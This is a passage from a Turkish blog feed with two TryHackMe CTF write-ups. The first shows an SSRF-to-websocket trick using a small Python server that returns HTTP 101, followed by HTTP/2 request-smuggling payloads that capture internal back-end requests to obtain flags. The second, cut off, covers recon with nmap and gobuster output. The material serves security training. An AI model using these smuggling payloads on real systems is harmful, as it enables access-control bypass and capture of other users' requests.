sys.exit()<br><br>      class Redirect(BaseHTTPRequestHandler):<br>          def do_GET(self):<br>              self.protocol_version = &quot;HTTP/1.1&quot;<br>              self.send_response(101)<br>              self.end_headers()<br><br><br>      HTTPServer((&quot;&quot;, int(sys.argv[1])), Redirect).serve_forever()<br><br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*gDjMmtE8och0ho2Djffa8A.png" /><figcaption>Web sunucusunu açıp, SSRF’i kullanarak sürekli 101 yanıtı almasını sağladık</figcaption></figure><ul><li>Daha sonra, isteği düzenleyip websocket isteğine çeviriyorum.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bJzcYUXsJvrxs0Vc3UgvVw.png" /><figcaption>HTTP isteği, websocket isteğine çevrildi</figcaption></figure><ul><li>Böylece front-end sunucusu, aldığı 101 yanıtına inanarak(101 yanıtının saldırgandan geldiğini bilmiyor, SSRF ile bunu elde ettik. Beklenmedik bir durum) atılan bu isteği websocket isteği olarak kabul ediyor. Peki acaba back-end de bunu böyle mi kabul edecek?</li><li>Eğer back-end bu isteği farklı yorumlarsa(websocket yerine HTTP isteği gibi) bu durumda istek kaçakçılığı zaafiyeti ortaya çıkar. İstek kaçakçılığı zaafiyeti tam olarak bundan dolayı kaynaklanır: Front-end sunucusu ve back-end sunucusunun istekleri farklı yorumlamasından.</li><li>Zaafiyeti test etmek için isteği, aşağıdaki gibi olacak şekilde son haline getiriyorum(Update Content-Length seçeneği kapalı olacak.)(payload’ta önceden forbidden aldığım /trace endpointine erişmeyi deniyorum):</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QrrzBTAnhom8sLap_SPyYw.png" /><figcaption>İstek Kaçakçılığı ile önceden forbidden aldığım enpointe eriştim</figcaption></figure><p>Gerçekten de, tam kafamda kurduğum gibi olaylar gerçekleşiyor. Önceden 403 aldığım /trace endpointine artık erişebiliyorum. bandito.public.thm’deki tüm endpointleri elde etmek amacıyla isOnline endpointindeki SSRF’ten faydalanarak, Intruder’ı ayarlıyorum ve endpointleri enumerate etmeye başlıyorum. Elde ettiklerim şu şekilde:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*dR9ZlHpBMZXHhz4sAqHjfQ.png" /><figcaption>bandito.public.thm’deki endpointler enumerate ediliyor</figcaption></figure><p><strong>3-) İlk Bayrak ve Devam Eden Recon</strong></p><p>Elde ettiğim endpointleri, istek kaçakçılığı ile ziyaret ediyorum ve /trace endpointinde şu şekilde satırlar gözüme çarpıyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7xbg_eubSTyvRLJexhHX-g.png" /><figcaption>/trace endpointinde ilgi çekici satırlar</figcaption></figure><p>İki yeni endpoint elde ediyorum. Hemen bunları ziyaret ediyorum ve ilk bayrakla beraber bir credentials elde ediyorum:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZKKyZ7QFTWxuY6v8mAuzCg.png" /><figcaption>İlk bayrak elde ediliyor</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xfsih3Wop9kGDgnZuIRMWw.png" /><figcaption>Admin credentials’ları elde ediliyor</figcaption></figure><p>Burada yaklaşık 1–1.5 saat salak gibi vakit kaybettim. Tamamen benim mallığım. nmap çıktısındaki ssl’i fark etmediğimden makinenin 80.portuna http ile bağlanmaya çalışıyordum ve sürekli bağlantı sıfırlandığından 80. porta erişemiyordum:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*TSKBwlHCO7vF1HzRmcbQaQ.png" /><figcaption>Mallık</figcaption></figure><p>Düzeltmek için adresi <a href="https://10.80.148.98/">https://10.80.148.98/</a> olacak şekilde değiştirince de tarayıcım otomatik olarak 443. portu seçiyordu HTTPS’e bağlanmak amaçlı(dalgınlıktan fark edemedim.). Bir ara makinenin bozuk olduğunu falan düşündüm de en sonunda idrak edebildim. Şu şekilde 80. porta erişebilyoruz:</p><ul><li><a href="https://10.80.148.98:80/">https://10.80.148.98:80/</a></li></ul><p>80. port ile HTTPS bağlantısı kurmak... Kesinlikle makine yapımcısı tarafından yapılan bir tuzak. Enayi gibi düştüm anasını satayım, güzel tecrübe oldu bana da.</p><p>Sayfanın içeriği şöyle:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*tQw9b4Fpa-2Hu8GjJl_8zA.png" /><figcaption>80. porttaki web sunucusu</figcaption></figure><p>Burada hiçbir şey yok diyor fakat yalan söylüyor. Sayfa kaynağına baktığımda bir script dosyasının yolunu elde ediyorum:</p><pre>    nothing to see &lt;script src=&#39;/static/messages.js&#39;&gt;&lt;/script&gt;<br></pre><p>Javascript dosyasını incelemeye başlıyorum.</p><pre>    document.addEventListener(&quot;DOMContentLoaded&quot;, function () {<br>      const discussions = document.querySelectorAll(&quot;.discussion&quot;);<br>      const messagesChat = document.querySelector(&quot;.messages-chat&quot;);<br>      const headerName = document.querySelector(&quot;.header-chat .name&quot;);<br>      const writeMessageInput = document.querySelector(&quot;.write-message&quot;);<br>      let userMessages = {<br>        JACK: [],<br>        OLIVER: [],<br>      };<br><br>      // Function to fetch messages from the server<br>      function fetchMessages() {<br>        fetch(&quot;/getMessages&quot;)<br>          .then((response) =&gt; {<br>            if (!response.ok) {<br>              throw new Error(&quot;Failed to fetch messages&quot;);<br>            }<br>            return response.json();<br>          })<br>          .then((messages) =&gt; {<br>            userMessages = messages;<br>            userMessages.JACK === undefined<br>              ? (userMessages = { OLIVER: messages.OLIVER, JACK: [] })<br>              : userMessages.OLIVER === undefined &amp;&amp;<br>                (userMessages = { JACK: messages.JACK, OLIVER: [] });<br><br>            displayMessages(&quot;JACK&quot;);<br>          })<br>          .catch((error) =&gt; console.error(&quot;Error fetching messages:&quot;, error));<br>      }<br><br>      // Function to display messages for the selected user<br>      function displayMessages(userName) {<br>        headerName.innerText = userName;<br>        messagesChat.innerHTML = &quot;&quot;;<br>        userMessages[userName].forEach(function (messageData) {<br>          appendMessage(messageData);<br>        });<br>      }<br><br>      // Function to append a message to the chat area<br>      function appendMessage(messageData) {<br>        const newMessage = document.createElement(&quot;div&quot;);<br>        console.log({ messageData });<br>        newMessage.classList.add(&quot;message&quot;, &quot;text-only&quot;);<br>        newMessage.innerHTML = `<br>              ${messageData.sender !== &quot;Bot&quot; ? &#39;&lt;div class=&quot;response&quot;&gt;&#39; : &quot;&quot;}<br>            &lt;div class=&quot;text&quot;&gt;${messageData}&lt;/div&gt;<br>        ${messageData.sender !== &quot;Bot&quot; ? &quot;&lt;/div&gt;&quot; : &quot;&quot;}<br>            `;<br>        messagesChat.appendChild(newMessage);<br>      }<br><br>      // Function to send a message to the server<br>      function sendMessage() {<br>        const messageText = writeMessageInput.value.trim();<br>        if (messageText !== &quot;&quot;) {<br>          const activeUser = headerName.innerText;<br>          const urlParams = new URLSearchParams(window.location.search);<br>          const isBot =<br>            urlParams.has(&quot;msg&quot;) &amp;&amp; urlParams.get(&quot;msg&quot;) === messageText;<br><br>          const messageData = {<br>            message: messageText,<br>            sender: isBot ? &quot;Bot&quot; : activeUser, // Set the sender as &quot;Bot&quot;<br>          };<br>          userMessages[activeUser].push(messageData);<br>          appendMessage(messageText);<br>          writeMessageInput.value = &quot;&quot;;<br>          scrollToBottom();<br>          console.log({ activeUser });<br>          fetch(&quot;/send_message&quot;, {<br>            method: &quot;POST&quot;,<br>            headers: {<br>              &quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;,<br>            },<br>            body: &quot;data=&quot;+messageText<br>          })<br>            .then((response) =&gt; {<br>              if (!response.ok) {<br>                throw new Error(&quot;Network response was not ok&quot;);<br>              }<br>              console.log(&quot;Message sent successfully&quot;);<br>            })<br>            .catch((error) =&gt; {<br>              console.error(&quot;Error sending message:&quot;, error);<br>              // Handle error (e.g., display error message to the user)<br>            });<br>        }<br>      }<br><br>      // Event listeners<br>      discussions.forEach(function (discussion) {<br>        discussion.addEventListener(&quot;click&quot;, function () {<br>          const userName = this.dataset.name;<br>          console.log({ userName });<br>          displayMessages(userName.toUpperCase());<br>        });<br>      });<br><br>      const sendButton = document.querySelector(&quot;.send&quot;);<br>      sendButton.addEventListener(&quot;click&quot;, sendMessage);<br>      writeMessageInput.addEventListener(&quot;keydown&quot;, function (event) {<br>        if (event.key === &quot;Enter&quot;) {<br>          event.preventDefault();<br>          sendMessage();<br>        }<br>      });<br><br>      // Initial actions<br>      fetchMessages();<br>    });<br><br>    // Function to scroll to the bottom of the messages chat<br>    function scrollToBottom() {<br>      const messagesChat = document.getElementById(&quot;messages-chat&quot;);<br>      messagesChat.scrollTop = messagesChat.scrollHeight;<br>    }<br><br></pre><p>Buradan çeşitli endpointler elde ediyorum. /getMessages’i ziyaret ettiğimde aşağıdaki giriş sayfası önüme geliyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5C9C1y1pm1vccSENEt0j-w.png" /><figcaption>Giriş ekranı</figcaption></figure><p>Önceden elde etmiş olduğum credentials’larla buraya giriş yapıyorum ve önüme şöyle bir ekran geliyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*98h1RfFAyAiFelmnWFWQwg.png" /><figcaption>Chat sayfası</figcaption></figure><p>Bir chat uygulaması. İncelemeye başlıyorum. Mesaj gönderme endpointi ve mesajları alma endpointleri mevcut: /send_message, /getMessages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d92X6L0a_U9BT3EtE09Scw.png" /><figcaption>/send_message endpointi</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E8q_oCU9pnZcQTlrdQ0f-Q.png" /><figcaption>/getMessages endpointi</figcaption></figure><p>Bu endpointler’de /send_message’e data parametresiyle gönderilen mesaj ekrana bastırılmakta. XSS gibi zaafiyetler burada test edilebilir fakat CTF’te amaç bu değil.</p><p><strong>4-) Exploitation 2-HTTP İstek Kaçakçılığı</strong></p><p>İstekler HTTP/2 ile gönderiliyor. Burada istek kaçakçılığı zaafiyetini test etmeye başlıyorum ve istek kaçakçılığı zaafiyetini keşfediyorum. Olay şu şekilde gerçekleşiyor:</p><pre>    POST / HTTP/2<br>    Host: 10.81.163.116:80<br>    Cookie: session=eyJ1c2VybmFtZSI6ImhBY2tMSUVOIn0.aTSglg.CmHJiqdWeSAcM9D7knxrrTHm8LU<br>    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0<br>    Accept: */*<br>    Accept-Language: en-US,en;q=0.5<br>    Accept-Encoding: gzip, deflate, br<br>    Referer: https://10.81.163.116:80/messages<br>    Sec-Gpc: 1<br>    Sec-Fetch-Dest: empty<br>    Sec-Fetch-Mode: cors<br>    Sec-Fetch-Site: same-origin<br>    Priority: u=4<br>    Te: trailers<br>    Content-Type: application/x-www-form-urlencoded<br>    Content-Length: 0<br><br>    POST /send_message HTTP/1.1<br>    Host: 10.81.163.116:80<br>    Cookie: session=eyJ1c2VybmFtZSI6ImhBY2tMSUVOIn0.aTSglg.CmHJiqdWeSAcM9D7knxrrTHm8LU<br>    Content-Length: 13<br>    Content-Type: application/x-www-form-urlencoded<br><br>    data=test1234<br><br></pre><p>Buradaki saldırı şu şekilde işliyor:</p><ul><li>Front-end sunucusu HTTP/2 ile isteğin tamamını alıyor(content-length, HTTP/2&#39;de dikkate alınmıyor.)</li><li>Front-end’ten başarıyla geçen bu istek, back-end web sunucusuna iletiliyor.</li><li>Back-end web sunucusuna gelen bu istek HTTP/1.1&#39;e downgrade oluyor.</li><li>HTTP/1.1&#39;e downgrade edilen bu isteğim, Content-Length:0 sayesinde 2 parçaya ayrılıyor. Bu iki parça sırasıyla: POST / HTTP/1.1 ve POST /send_message HTTP/1.1.</li><li>İlk isteğim back-end web sunucusunda işlenip cevabı normal bir şekilde bana döndürülüyor.</li><li>Fakat /send_message isteği, back-end tarafından ayrı bir istek olarak algılandı ve dolayısıyla back-end tarafından çalıştırılıyor. Çalıştırıldığından emin olmak amacıyla /getMessages’e GET isteği yolluyorum ve gerçekten de test1234 değerini cevapta görüyorum:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vLGdB-0qDtbBNMhRqfL3jQ.png" /><figcaption>HTTP İstek Kaçakçılığı Zaafiyeti Keşfediliyor</figcaption></figure><p><strong>5-) Yerel İsteğin Yakalanması ve Son Bayrak</strong></p><p>İyi güzel, zaafiyeti buldum ama son bayrak nerede saklanıyor?</p><p>Gobuster çalıştırdım, /access ve /static endpointlerini buldum. Bunlar 403 veriyor.</p><p>İstek kaçakçılığı ile bu endpointlere bir şekilde ulaşabilmeye çalıştım ama işe yaramadı.</p><p>Biraz burada takıldıktan sonra, aklıma, /send_message’da ekrana bastırılan data parametresi geldi. Bunu kullanıp, dahili başlıkları çıkarmayı deneyecektim. Dahili başlıklar sayesinde erişimimin olmadığı yerlere girebileceğimi düşündüm. Hemen yola koyuldum ve payloadı şu hale getirdim:</p><pre>    POST / HTTP/2<br>    Host: 10.81.163.116:80<br>    Cookie: session=eyJ1c2VybmFtZSI6ImhBY2tMSUVOIn0.aTSglg.CmHJiqdWeSAcM9D7knxrrTHm8LU<br>    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0<br>    Accept: */*<br>    Accept-Language: en-US,en;q=0.5<br>    Accept-Encoding: gzip, deflate, br<br>    Referer: https://10.81.163.116:80/messages<br>    Sec-Gpc: 1<br>    Sec-Fetch-Dest: empty<br>    Sec-Fetch-Mode: cors<br>    Sec-Fetch-Site: same-origin<br>    Priority: u=4<br>    Te: trailers<br>    Content-Type: application/x-www-form-urlencoded<br>    Content-Length: 0<br><br>    POST /send_message HTTP/1.1<br>    Host: 10.81.163.116:80<br>    Cookie: session=eyJ1c2VybmFtZSI6ImhBY2tMSUVOIn0.aTSglg.CmHJiqdWeSAcM9D7knxrrTHm8LU<br>    Content-Length: 250<br>    Content-Type: application/x-www-form-urlencoded<br><br>    data=<br><br></pre><p>Gönderilen ikinci istekte content-length’i 250 yaptım ve sadece 5 bytelık kısmını istekte gönderdim(data=). Böylece, back-end sunucusuna tamamlanmamış bir istek gidecek. Front-end web sunucusu, gönderilen isteklere dahili bir başlık eklerse, bu eklenen dahili başlık, benim tamamlanmamış isteğime 250 karaktere sığdığı kadar dahil olacak. Yani data parametresine dahili başlık ilave edilip istek tamamlandığında bu istek gitmiş olacak. Dolayısıyla dahili başlığı içeren bir mesaj gönderilecek. Ben de bunu /getMessages endpointi ile görebilirim kolayca.</p><p>Yukarıdaki payloadı gönderdiğimde ve /getMessages’tan mesajlara baktığımda şöyle bir yanıtla karşılaşıyorum:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*OJsD5qbYABMdsgiw2XuyoQ.png" /><figcaption>HTTP İstek Kaçakçılığı Sömürülüyor</figcaption></figure><p>Anlaşılan, isteğe dahili bir başlık eklenmiyor fakat arkaplanda başka bir istek gönderiliyor. İsteğin tamamını görebilmek için content-length’i 500&#39;e çekiyorum.</p><pre>    POST / HTTP/2<br>    Host: 10.81.163.116:80<br>    Cookie: session=eyJ1c2VybmFtZSI6ImhBY2tMSUVOIn0.aTSglg.CmHJiqdWeSAcM9D7knxrrTHm8LU<br>    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0<br>    Accept: */*<br>    Accept-Language: en-US,en;q=0.5<br>    Accept-Encoding: gzip, deflate, br<br>    Referer: https://10.81.163.116:80/messages<br>    Sec-Gpc: 1<br>    Sec-Fetch-Dest: empty<br>    Sec-Fetch-Mode: cors<br>    Sec-Fetch-Site: same-origin<br>    Priority: u=4<br>    Te: trailers<br>    Content-Type: application/x-www-form-urlencoded<br>    Content-Length: 0<br><br>    POST /send_message HTTP/1.1<br>    Host: 10.81.163.116:80<br>    Cookie: session=eyJ1c2VybmFtZSI6ImhBY2tMSUVOIn0.aTSglg.CmHJiqdWeSAcM9D7knxrrTHm8LU<br>    Content-Length: 500<br>    Content-Type: application/x-www-form-urlencoded<br><br>    data=<br><br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*Vig7IdW8Pg-MgdMaveHnKg.png" /><figcaption>content-length 500&#39;e çekildi</figcaption></figure><p>Fakat 500 content-length’te de mesaj yarıda kesiliyor. 750&#39;ye çıkarıyorum fakat 750 fazla geliyor. 700&#39;e çektiğimde raylar yerine oturuyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*ngTNweb4NFXUguAUyCbinQ.png" /><figcaption>Son bayrak dahili başlıklardan elde ediliyor</figcaption></figure><p>Son bayrağı bu şekilde elde edip CTF’i burada bitiriyorum. (Bayrağı submit etmeden önce unicode karakterleri <a href="https://iloveunicode.com/unicode-to-string/">https://iloveunicode.com/unicode-to-string/</a> adresinden decode edin.)</p><p><strong>6-) Değerlendirme</strong></p><p>Yaygın SSRF + İstek Kaçakçılığı saldırı zincirini barındıran, biraz tavşan deliği içeren öğretici bir CTF’ti. Makine optimizasyonu biraz sıkıntılı, bazen resetlemek zorunda kalıyorsunuz. Böylelikle THM’de Web Application Testing path’i bitmiş oldu. Tam Red Teaming’e geçecektim ki, THM yeni bir path daha yayınladı(Web Application Red Teaming) ve konuları gerçekten güzel. Bu path’teki CTF’lerin çözümü de gelecektir.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=61cd43db18e6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM What’s Your Name? Cozumu/Writeup]]></title>
            <link>https://medium.com/@st4inl3s5/thm-whats-your-name-cozumu-writeup-447a5ceebd6d?source=rss-8ac372c1fc98------2</link>
            <guid isPermaLink="false">https://medium.com/p/447a5ceebd6d</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Yiğit Aydemir]]></dc:creator>
            <pubDate>Mon, 24 Nov 2025 20:34:57 GMT</pubDate>
            <atom:updated>2025-11-24T20:38:16.535Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MrJmJov8BvKTFggSsz5aBA.png" /></figure><p>Client-Side zaafiyetleriyle ilgili bir CTF çözümüyle birlikteyiz.</p><h4>1-) Recon&amp;Enumeration(Keşif&amp;Enumerasyon)</h4><p>Makine Adı: Whats Your Name?</p><p>Açıklama: Utilise your client-side exploitation skills to take control of a web app.</p><p>Task Açıklaması 1: This challenge will test client-side exploitation skills, from inspecting Javascript to manipulating cookies to launching CSRF/XSS attacks.</p><p>Task Açıklaması 2: “Never click on links received from unknown sources. Can you capture the flags and get admin access to the web app?”</p><p>Soru 1: What is the flag value after accessing the moderator account? (İlk bayrak moderatör hesabında)</p><p>Soru 2: What is the flag value after accessing the admin panel? (Son bayrak da admin panelinde yer almakta)</p><p>Nmap taramasıyla başlıyorum.(İlerleyen süreçte makinenin IP adresi ve elde ettiğim session’lar değişebilir, makine arada bir bozuluyordu malesef. Fakat mantık aynı.)</p><pre>zuzu@stgma39:~$ sudo nmap -sV -sC -v -O -T4 -p- 10.82.171.64<br>[sudo] password for zuzu:<br>Starting Nmap 7.98 ( &lt;https://nmap.org&gt; ) at 2025-11-23 00:02 +0300<br>NSE: Loaded 158 scripts for scanning.<br>NSE: Script Pre-scanning.<br>Initiating NSE at 00:02<br>Completed NSE at 00:02, 0.00s elapsed<br>Initiating NSE at 00:02<br>Completed NSE at 00:02, 0.00s elapsed<br>Initiating NSE at 00:02<br>Completed NSE at 00:02, 0.00s elapsed<br>Initiating Ping Scan at 00:02<br>Scanning 10.82.171.64 [4 ports]<br>Completed Ping Scan at 00:02, 0.08s elapsed (1 total hosts)<br>Initiating SYN Stealth Scan at 00:02<br>Scanning worldwap.thm (10.82.171.64) [65535 ports]<br>Discovered open port 22/tcp on 10.82.171.64<br>Discovered open port 80/tcp on 10.82.171.64<br>Discovered open port 8081/tcp on 10.82.171.64<br>Completed SYN Stealth Scan at 00:03, 44.16s elapsed (65535 total ports)<br>Initiating Service scan at 00:03<br>Scanning 3 services on worldwap.thm (10.82.171.64)<br>Completed Service scan at 00:03, 6.21s elapsed (3 services on 1 host)<br>Initiating OS detection (try #1) against worldwap.thm (10.82.171.64)<br>NSE: Script scanning 10.82.171.64.<br>Initiating NSE at 00:03<br>Completed NSE at 00:03, 2.45s elapsed<br>Initiating NSE at 00:03<br>Completed NSE at 00:03, 0.30s elapsed<br>Initiating NSE at 00:03<br>Completed NSE at 00:03, 0.00s elapsed<br>Nmap scan report for worldwap.thm (10.82.171.64)<br>Host is up (0.071s latency).<br>Not shown: 65532 closed tcp ports (reset)<br>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey:<br>|   3072 d6:f3:15:98:ef:f3:4e:3d:24:63:36:a9:d9:ab:c4:ac (RSA)<br>|   256 ca:8c:ce:2c:c2:09:33:e0:e0:3c:a2:f1:7a:f6:e5:a4 (ECDSA)<br>|_256 64:5c:e1:11:9c:ea:be:ab:29:d3:f0:fd:83:63:b7:40 (ED25519)<br>80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>| http-methods:<br>|_  Supported Methods: GET HEAD POST OPTIONS<br>| http-title: Welcome<br>|_Requested resource was /public/html/<br>| http-cookie-flags:<br>|   /:<br>|     PHPSESSID:<br>|_      httponly flag not set<br>8081/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>|_http-title: Site doesn&#39;t have a title (text/html; charset=UTF-8).<br>| http-methods:<br>|_  Supported Methods: GET HEAD POST OPTIONS<br>Device type: general purpose<br>Running: Linux 4.X<br>OS CPE: cpe:/o:linux:linux_kernel:4.15<br>OS details: Linux 4.15<br>Uptime guess: 41.845 days (since Sun Oct 12 03:46:38 2025)<br>Network Distance: 3 hops<br>TCP Sequence Prediction: Difficulty=260 (Good luck!)<br>IP ID Sequence Generation: All zeros<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>NSE: Script Post-scanning.<br>Initiating NSE at 00:03<br>Completed NSE at 00:03, 0.00s elapsed<br>Initiating NSE at 00:03<br>Completed NSE at 00:03, 0.00s elapsed<br>Initiating NSE at 00:03<br>Completed NSE at 00:03, 0.00s elapsed<br>Read data files from: /usr/bin/../share/nmap<br>OS and Service detection performed. Please report any incorrect results at &lt;https://nmap.org/submit/&gt; .<br>Nmap done: 1 IP address (1 host up) scanned in 54.94 seconds<br>           Raw packets sent: 66714 (2.936MB) | Rcvd: 65896 (2.637MB)<br><br></pre><p>22:SSH, 80:HTTP ve 8081:HTTP portları açık. Herhangi bir versiyon açığı yok. HTTP servislerini incelemeye başlıyorum.</p><p>80. portta, sosyal medya platformunun haberini veren bir sayfa ve sağ üstte kayıt olma özelliği mevcut:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8rk5XDh5ippKZnKxcF8vEA.png" /><figcaption>80. portta çalışan HTTP servisi</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bHOZ_5qjVeTl0IFRtuJcPQ.png" /><figcaption>80. porttaki kayıt olma sayfası</figcaption></figure><p>8081. portta boş bir sayfa var:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nMfnPh7kmfl7moSZyTe3og.png" /><figcaption>8081. portta çalışan HTTP servisi</figcaption></figure><p>80. portu incelemeye başlıyorum. Bir yandan da gobuster’ı çalıştırdım.</p><pre>        zuzu@stgma39:~$ gobuster dir -u http://worldwap.thm/public/html/ -w /usr/share/wordlists/dirb/common.txt -t 100 -x php,html,txt<br>        ===============================================================<br>        Gobuster v3.8.2<br>        by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>        ===============================================================<br>        [+] Url:                     http://worldwap.thm/public/html/<br>        [+] Method:                  GET<br>        [+] Threads:                 100<br>        [+] Wordlist:                /usr/share/wordlists/dirb/common.txt<br>        [+] Negative Status codes:   404<br>        [+] User Agent:              gobuster/3.8.2<br>        [+] Extensions:              php,html,txt<br>        [+] Timeout:                 10s<br>        ===============================================================<br>        Starting gobuster in directory enumeration mode<br>        ===============================================================<br>        .hta.txt             (Status: 403) [Size: 277]<br>        .hta.php             (Status: 403) [Size: 277]<br>        .hta                 (Status: 403) [Size: 277]<br>        .hta.html            (Status: 403) [Size: 277]<br>        .htaccess            (Status: 403) [Size: 277]<br>        admin.php            (Status: 403) [Size: 0]<br>        admin.php            (Status: 403) [Size: 0]<br>        .htpasswd.html       (Status: 403) [Size: 277]<br>        .htaccess.php        (Status: 403) [Size: 277]<br>        .htaccess.txt        (Status: 403) [Size: 277]<br>        .htaccess.html       (Status: 403) [Size: 277]<br>        .htpasswd            (Status: 403) [Size: 277]<br>        .htpasswd.txt        (Status: 403) [Size: 277]<br>        .htpasswd.php        (Status: 403) [Size: 277]<br>        dashboard.php        (Status: 403) [Size: 0]<br>        index.php            (Status: 200) [Size: 1797]<br>        index.php            (Status: 200) [Size: 1797]<br>        login.php            (Status: 200) [Size: 1785]<br>        logout.php           (Status: 200) [Size: 154]<br>        mod.php              (Status: 403) [Size: 0]<br>        register.php         (Status: 200) [Size: 2188]<br>        upload.php           (Status: 403) [Size: 0]<br>        Progress: 18452 / 18452 (100.00%)<br>        ===============================================================<br>        Finished<br>        ===============================================================<br><br></pre><p>/public/html/ dizini altında admin.php, dashboard.php, login.php, logout.php, mod.php, register.php ve upload.php endpointlerini elde ettim. Bu endpointleri incelemeye alıyorum.</p><ul><li>admin.php, dashboard.php, mod.php ve upload.php endpointleri şuanki durumumda 403 vermekte.</li><li>login.php’nin içeriği:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UY2tF2Ij6emcs8e8HKw3oQ.png" /><figcaption>80. porttaki login sayfası</figcaption></figure><p>Buradan login.worldwap.thm adında bir subdomain olduğunu öğreniyorum ve dediğine göre kayıt olduktan sonra bu subdomain’i ziyaret etmeliymişim. Dolayısıyla /etc/hosts dosyamı aşağıdaki hale getiriyorum:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*kOaS8fWWVovo0eyQV35Imw.png" /></figure><ul><li>logout.php’yi ziyaret ettiğimde istek, 3 aşamadan geçerek aşağıdaki js kodu ile <a href="http://worldwap.thm/api/logout.php">http://worldwap.thm/api/logout.php</a> endpointine istek atılıyor:</li></ul><pre>      function logout() {<br>          fetch(&#39;../../api/logout.php&#39;)<br>          .then(response =&gt; response.json())<br>          .then(data =&gt; {<br>            if (data.message) {<br>              window.location.href = &#39;./login.php&#39;;<br>            } else {<br>              console.log(data.error);<br>            }<br>          })<br>          .catch((error) =&gt; console.error(&#39;Error:&#39;, error));<br>        }<br><br></pre><p>8081. portundaki HTTP servisini de incelemeye alıyorum ve boş sayfa sandığımız şey, boş sayfa değil. Boş sayfada bir yorum satırı mevcut ve bize /login.php adında bir endpointin var olduğunu söylemekte:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*njsvuKmr5dTErvl_qQS5sg.png" /><figcaption>8081. portta yer alan yorum satırı</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MWfuBqJRgCftbD6MD_FErA.png" /><figcaption>Yorum satırından elde edilen yeni endpoint</figcaption></figure><p>Ne olur ne olmaz bir gobuster taraması yapacağım:</p><pre>    zuzu@stgma39:~$ gobuster dir -u http://worldwap.thm:8081 -w /usr/share/wordlists/dirb/common.txt -t 100 -x php,html,txt<br>    ===============================================================<br>    Gobuster v3.8.2<br>    by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>    ===============================================================<br>    [+] Url:                     http://worldwap.thm:8081<br>    [+] Method:                  GET<br>    [+] Threads:                 100<br>    [+] Wordlist:                /usr/share/wordlists/dirb/common.txt<br>    [+] Negative Status codes:   404<br>    [+] User Agent:              gobuster/3.8.2<br>    [+] Extensions:              php,html,txt<br>    [+] Timeout:                 10s<br>    ===============================================================<br>    Starting gobuster in directory enumeration mode<br>    ===============================================================<br>    .htaccess.html       (Status: 403) [Size: 279]<br>    .hta.txt             (Status: 403) [Size: 279]<br>    .hta.html            (Status: 403) [Size: 279]<br>    .hta.php             (Status: 403) [Size: 279]<br>    .htpasswd            (Status: 403) [Size: 279]<br>    .hta                 (Status: 403) [Size: 279]<br>    .htaccess.php        (Status: 403) [Size: 279]<br>    .htaccess            (Status: 403) [Size: 279]<br>    .htaccess.txt        (Status: 403) [Size: 279]<br>    .htpasswd.php        (Status: 403) [Size: 279]<br>    assets               (Status: 301) [Size: 320] [--&gt; http://worldwap.thm:8081/assets/]<br>    block.php            (Status: 200) [Size: 15]<br>    .htpasswd.html       (Status: 403) [Size: 279]<br>    .htpasswd.txt        (Status: 403) [Size: 279]<br>    change_password.php  (Status: 302) [Size: 4] [--&gt; login.php]<br>    chat.php             (Status: 302) [Size: 0] [--&gt; login.php]<br>    clear.php            (Status: 200) [Size: 4]<br>    db.php               (Status: 200) [Size: 0]<br>    index.php            (Status: 200) [Size: 70]<br>    index.php            (Status: 200) [Size: 70]<br>    javascript           (Status: 301) [Size: 324] [--&gt; http://worldwap.thm:8081/javascript/]<br>    login.php            (Status: 200) 